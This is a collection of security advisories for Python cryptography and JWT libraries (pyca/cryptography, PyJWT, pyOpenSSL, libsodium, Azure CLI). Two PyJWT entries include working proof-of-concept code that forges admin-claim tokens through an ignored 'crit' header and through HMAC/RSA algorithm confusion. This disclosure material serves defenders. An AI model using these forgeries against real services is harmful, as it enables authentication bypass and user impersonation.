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The Azure CLI versions 2.45.0 up to but not including 2.65.0 include pyca/cryptography wheels that contain a statically linked vulnerable version of OpenSSL. This vulnerability originates from the OpenSSL versions bundled within cryptography versions 37.0.0 to 43.0.0. Users who install cryptography from source must manage OpenSSL updates themselves, but those using the pre-built wheels distributed by the cryptography project need to update their cryptography versions to mitigate the issue.

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The Azure CLI uses pyca/cryptography wheels that include a statically linked vulnerable version of OpenSSL. Versions of OpenSSL included in cryptography releases from 0.8 up to 41.0.2 contain multiple security issues as detailed in OpenSSL security advisories from July 2023. Users installing cryptography from source must upgrade OpenSSL themselves, while those using pre-built wheels from PyPI should update cryptography to a patched version. The affected Azure CLI versions are from 2.0.17 up to but not including 2.52.0.

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Deserialization of untrusted data in Azure Core shared client library for Python allows an authorized attacker to execute code over a network.

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## Summary PyJWT does not validate the `crit` (Critical) Header Parameter defined in RFC 7515 §4.1.11. When a JWS token contains a `crit` array listing extensions that PyJWT does not understand, the library accepts the token instead of rejecting it. This violates the **MUST** requirement in the RFC. This is the same class of vulnerability as CVE-2025-59420 (Authlib), which received CVSS 7.5 (HIGH). --- ## RFC Requirement RFC 7515 §4.1.11: > The "crit" (Critical) Header Parameter indicates that extensions to this > specification and/or [JWA] are being used that **MUST** be understood and > processed. [...] If any of the listed extension Header Parameters are > **not understood and supported** by the recipient, then the **JWS is invalid**. --- ## Proof of Concept ```python import jwt # PyJWT 2.8.0 import hmac, hashlib, base64, json # Construct token with unknown critical extension header = {"alg": "HS256", "crit": ["x-custom-policy"], "x-custom-policy": "require-mfa"} payload = {"sub": "attacker", "role": "admin"} def b64url(data): return base64.urlsafe_b64encode(data).rstrip(b"=").decode() h = b64url(json.dumps(header, separators=(",", ":")).encode()) p = b64url(json.dumps(payload, separators=(",", ":")).encode()) sig = b64url(hmac.new(b"secret", f"{h}.{p}".encode(), hashlib.sha256).digest()) token = f"{h}.{p}.{sig}" # Should REJECT — x-custom-policy is not understood by PyJWT try: result = jwt.decode(token, "secret", algorithms=["HS256"]) print(f"ACCEPTED: {result}") # Output: ACCEPTED: {'sub': 'attacker', 'role': 'admin'} except Exception as e: print(f"REJECTED: {e}") ``` **Expected:** `jwt.exceptions.InvalidTokenError: Unsupported critical extension: x-custom-policy` **Actual:** Token accepted, payload returned. ### Comparison with RFC-compliant library ```python # jwcrypto — correctly rejects from jwcrypto import jwt as jw_jwt, jwk key = jwk.JWK(kty="oct", k=b64url(b"secret")) jw_jwt.JWT(jwt=token, key=key, algs=["HS256"]) # raises: InvalidJWSObject('Unknown critical header: "x-custom-policy"') ``` --- ## Impact - **Split-brain verification** in mixed-library deployments (e.g., API gateway using jwcrypto rejects, backend using PyJWT accepts) - **Security policy bypass** when `crit` carries enforcement semantics (MFA, token binding, scope restrictions) - **Token binding bypass** — RFC 7800 `cnf` (Proof-of-Possession) can be silently ignored - See CVE-2025-59420 for full impact analysis --- ## Suggested Fix In `jwt/api_jwt.py`, add validation in `_validate_headers()` or `decode()`: ```python _SUPPORTED_CRIT = {"b64"} # Add extensions PyJWT actually supports def _validate_crit(self, headers: dict) -> None: crit = headers.get("crit") if crit is None: return if not isinstance(crit, list) or len(crit) == 0: raise InvalidTokenError("crit must be a non-empty array") for ext in crit: if ext not in self._SUPPORTED_CRIT: raise InvalidTokenError(f"Unsupported critical extension: {ext}") if ext not in headers: raise InvalidTokenError(f"Critical extension {ext} not in header") ``` --- ## CWE - CWE-345: Insufficient Verification of Data Authenticity - CWE-863: Incorrect Authorization ## References - [RFC 7515 §4.1.11](https://www.rfc-editor.org/rfc/rfc7515.html#section-4.1.11) - [CVE-2025-59420 — Authlib crit bypass (CVSS 7.5)](https://osv.dev/vulnerability/GHSA-9ggr-2464-2j32) - [RFC 7800 — Proof-of-Possession Key Semantics](https://www.rfc-editor.org/rfc/rfc7800)

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> [!NOTE] > Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in `algorithms=[…]` and a raw-JSON JWK as the `key=` argument, both contrary to documented usage, hence the High attack-complexity rating. ### Summary When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. ### Details In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms. In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example: `jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"])) ` An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user. If we look on current protections implemented in the library, at class HMACAlgorithm: ``` def prepare_key(self, key: str | bytes) -> bytes: key_bytes = force_bytes(key) if is_pem_format(key_bytes) or is_ssh_key(key_bytes): raise InvalidKeyError( "The specified key is an asymmetric key or x509 certificate and" " should not be used as an HMAC secret." ) return key_bytes ``` We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation. In The following example: `jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"])) ` There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations. The bypass happens only if the verifier: (a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key. ### PoC Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}') ``` from jwt.api_jws import PyJWS import json, base64, hmac, hashlib def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=") # Public RSA JWK (public by design) rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"}) # Attacker-crafted token: flip to HS256 and choose claims header = b64u(b'{"alg":"HS256","typ":"JWT"}') payload = b64u(b'{"sub":"alice","admin":true}') signing = header + b"." + payload # Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret” sig = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest() token = (signing + b"." + b64u(sig)).decode() # Vulnerable verifier: mixed families + JWK JSON string as key jws = PyJWS() print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"])) # -> b'{"sub":"alice","admin":true}' ``` ### Impact Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).

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If a user provided callback to `set_tlsext_servername_callback` raised an unhandled exception, this would result in a connection being accepted. If a user was relying on this callback for any security-sensitive behavior, this could allow bypassing it. Unhandled exceptions now result in rejecting the connection. Credit to **Leury Castillo** for reporting this issue.

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pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 42.0.0-44.0.0 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20250211.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.

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pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 42.0.0-44.0.0 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20250211.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.

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libsodium before ad3004e, in atypical use cases involving certain custom cryptography or untrusted data to crypto_core_ed25519_is_valid_point, mishandles checks for whether an elliptic curve point is valid because it sometimes allows points that aren't in the main cryptographic group. This advisoory lists packages in the GitHub Advisory Database's [supported ecosystems](https://github.com/github/advisory-database?tab=readme-ov-file#supported-ecosystems) that are affected by this vulnerability due to a vulnerable dependency.

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## Vulnerability Summary The `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`), `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()` functions do not verify that the point belongs to the expected prime-order subgroup of the curve. This missing validation allows an attacker to provide a public key point `P` from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as `S = [victim_private_key]P` via ECDH, this leaks information about `victim_private_key mod (small_subgroup_order)`. For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup. Only SECT curves are impacted by this. ## Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine

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